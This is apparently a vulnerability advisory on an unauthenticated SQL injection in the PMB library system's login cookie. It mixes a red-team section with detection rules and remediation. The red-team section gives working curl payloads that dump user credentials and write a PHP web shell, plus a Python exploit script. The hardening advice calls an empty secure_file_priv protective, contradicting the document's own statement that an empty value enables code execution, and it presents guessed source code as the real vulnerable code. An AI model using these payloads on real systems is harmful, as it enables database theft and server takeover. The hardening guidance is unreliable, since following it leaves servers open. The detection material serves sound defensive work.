CVE-2023-52153

Executive Summary

CVE-2023-52153 is a critical unauthenticated SQL Injection vulnerability in PMB (PhpMyBibli) version 7.4.7 and earlier. The flaw resides in /pmb/opac_css/includes/sessions.inc.php, where the PmbOpac-LOGIN cookie value is directly concatenated into SQL queries without sanitization or parameterization. This allows a remote, unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some configurations, remote code execution via INTO OUTFILE or stacked queries.

The vulnerability is particularly dangerous because it requires no authentication and can be triggered simply by sending a crafted HTTP request with a malicious cookie. The EPSS score is 0.0% at the time of analysis, but this is likely due to low reporting volume; the technical impact is severe.

Supply Chain & Package Security

PMB is a PHP-based library management system (not an NPM/PyPI/Go/Ruby package). The vulnerability is in the core application code, not a third-party dependency. However, administrators should audit any custom plugins or themes for similar injection patterns.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

Rationale: The vulnerability is exploitable remotely without authentication or user interaction. The cookie value is directly injected into a SQL query, allowing full read/write access to the database. In MySQL configurations with secure_file_priv disabled, this can lead to remote code execution via INTO OUTFILE.

Deep Dive & Mechanics

The vulnerable code in /pmb/opac_css/includes/sessions.inc.php processes the PmbOpac-LOGIN cookie. The cookie value is extracted and used in a SQL query without proper sanitization or prepared statements. A typical vulnerable pattern might look like:

$login = $_COOKIE['PmbOpac-LOGIN'];
$query = "SELECT * FROM sessions WHERE login = '$login'";
$result = mysqli_query($db, $query);

An attacker can set the cookie to a value like:

' OR '1'='1' -- -

This transforms the query into:

SELECT * FROM sessions WHERE login = '' OR '1'='1' -- -'

The -- - comments out the rest of the query, causing the condition to always be true and returning all rows. More advanced payloads can extract data, modify records, or execute system commands.

Attack Flow:

1. Attacker sends an HTTP request to the target PMB instance.
2. The request includes a crafted Cookie: PmbOpac-LOGIN=<malicious_payload> header.
3. The server processes the cookie without sanitization.
4. The malicious SQL is executed against the database.
5. The attacker receives the query results in the HTTP response.

Vulnerable vs. Patched Code

Vulnerable Code (PMB <= 7.4.7):

// /pmb/opac_css/includes/sessions.inc.php
$login = $_COOKIE['PmbOpac-LOGIN'];
$query = "SELECT * FROM sessions WHERE login = '$login'";
$result = mysqli_query($db, $query);

Patched Code (Hypothetical - No official patch available):

// /pmb/opac_css/includes/sessions.inc.php
$login = $_COOKIE['PmbOpac-LOGIN'] ?? '';
$stmt = mysqli_prepare($db, "SELECT * FROM sessions WHERE login = ?");
mysqli_stmt_bind_param($stmt, "s", $login);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• PMB 7.4.7 or earlier running on a target.
• Network access to the PMB web interface.
• (Optional) MySQL secure_file_priv disabled for RCE.

Step 1: Basic SQL Injection Detection

curl -v -b "PmbOpac-LOGIN=' OR '1'='1' -- -" http://target/pmb/opac_css/includes/sessions.inc.php

Step 2: Extract Database Version

curl -b "PmbOpac-LOGIN=' UNION SELECT @@version,2,3 -- -" http://target/pmb/opac_css/includes/sessions.inc.php

Step 3: Dump User Credentials

curl -b "PmbOpac-LOGIN=' UNION SELECT login, password, 3 FROM users -- -" http://target/pmb/opac_css/includes/sessions.inc.php

Step 4: Remote Code Execution (if secure_file_priv is empty)

curl -b "PmbOpac-LOGIN=' UNION SELECT '<?php system($_GET[\"cmd\"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php' -- -" http://target/pmb/opac_css/includes/sessions.inc.php

Full Exploit Script (Python):

import requests

target = "http://target/pmb/opac_css/includes/sessions.inc.php"
payload = "' UNION SELECT @@version,2,3 -- -"
cookies = {"PmbOpac-LOGIN": payload}
r = requests.get(target, cookies=cookies)
print(r.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for requests containing SQL keywords in the PmbOpac-LOGIN cookie.
2. Look for abnormal HTTP response sizes or database error messages.
3. Use the YARA/Sigma rules below to scan logs and files.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| regex "PmbOpac-LOGIN=.*('|--|UNION|SELECT|INSERT|DROP|OR\s+1=1)"
| table _time, src_ip, uri, cookie

Incident Response:

1. Isolate the affected server.
2. Review database logs for unauthorized queries.
3. Rotate all database credentials.
4. Apply the virtual patch (WAF rule) immediately.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with Cookie: PmbOpac-LOGIN containing SQL keywords (', --, UNION, SELECT, OR 1=1).
• Unusually large HTTP responses from /pmb/opac_css/includes/sessions.inc.php.
• Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Unexpected .php files in the web root (e.g., shell.php).
• Modified sessions.inc.php with backdoor code.

Log IOCs:

• Web server logs showing PmbOpac-LOGIN with SQL injection patterns.
• Database logs showing UNION SELECT, INTO OUTFILE, or LOAD_FILE queries.

Detection Engineering

YARA Rule

rule CVE_2023_52153_SQLi_Cookie {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-52153 via PmbOpac-LOGIN cookie"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2023-52153"
        severity = "critical"
    strings:
        $cookie_name = "PmbOpac-LOGIN"
        $sql_keyword1 = /' OR '1'='1/
        $sql_keyword2 = /' UNION SELECT/
        $sql_keyword3 = /' -- -/
        $sql_keyword4 = /INTO OUTFILE/
        $sql_keyword5 = /LOAD_FILE/
    condition:
        $cookie_name and any of ($sql_keyword*)
}

Sigma Rule

title: CVE-2023-52153 SQL Injection via PmbOpac-LOGIN Cookie
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting PMB library management system
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-cookie|contains: "PmbOpac-LOGIN"
    keywords:
        - "' OR '1'='1"
        - "' UNION SELECT"
        - "' -- -"
        - "INTO OUTFILE"
        - "LOAD_FILE"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in login names (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-52153 SQL Injection Attempt"; flow:to_server; content:"PmbOpac-LOGIN"; http_cookie; pcre:"/(\x27 OR \x271\x27=\x271|\x27 UNION SELECT|\x27 -- -|INTO OUTFILE|LOAD_FILE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests containing SQL injection patterns in the PmbOpac-LOGIN cookie.
2. Input Validation: Manually patch sessions.inc.php to use prepared statements (see patched code above).
3. Database Hardening: Ensure secure_file_priv is set to a specific directory (or empty) to prevent INTO OUTFILE attacks.
4. Least Privilege: Ensure the database user used by PMB has minimal privileges (no FILE privilege, no DROP/ALTER).

Long-Term Fix:

• Upgrade to a patched version of PMB once released.
• Implement a Content Security Policy (CSP) to mitigate XSS if SQL injection leads to data exfiltration.
• Conduct regular code audits for SQL injection patterns.

Detection & Monitoring:

• Enable detailed logging for all database queries.
• Deploy the YARA/Sigma/Suricata rules above.
• Monitor for anomalous HTTP requests to /pmb/opac_css/includes/sessions.inc.php.

Valters IT - DevSecOps & Cyber Threat Intelligence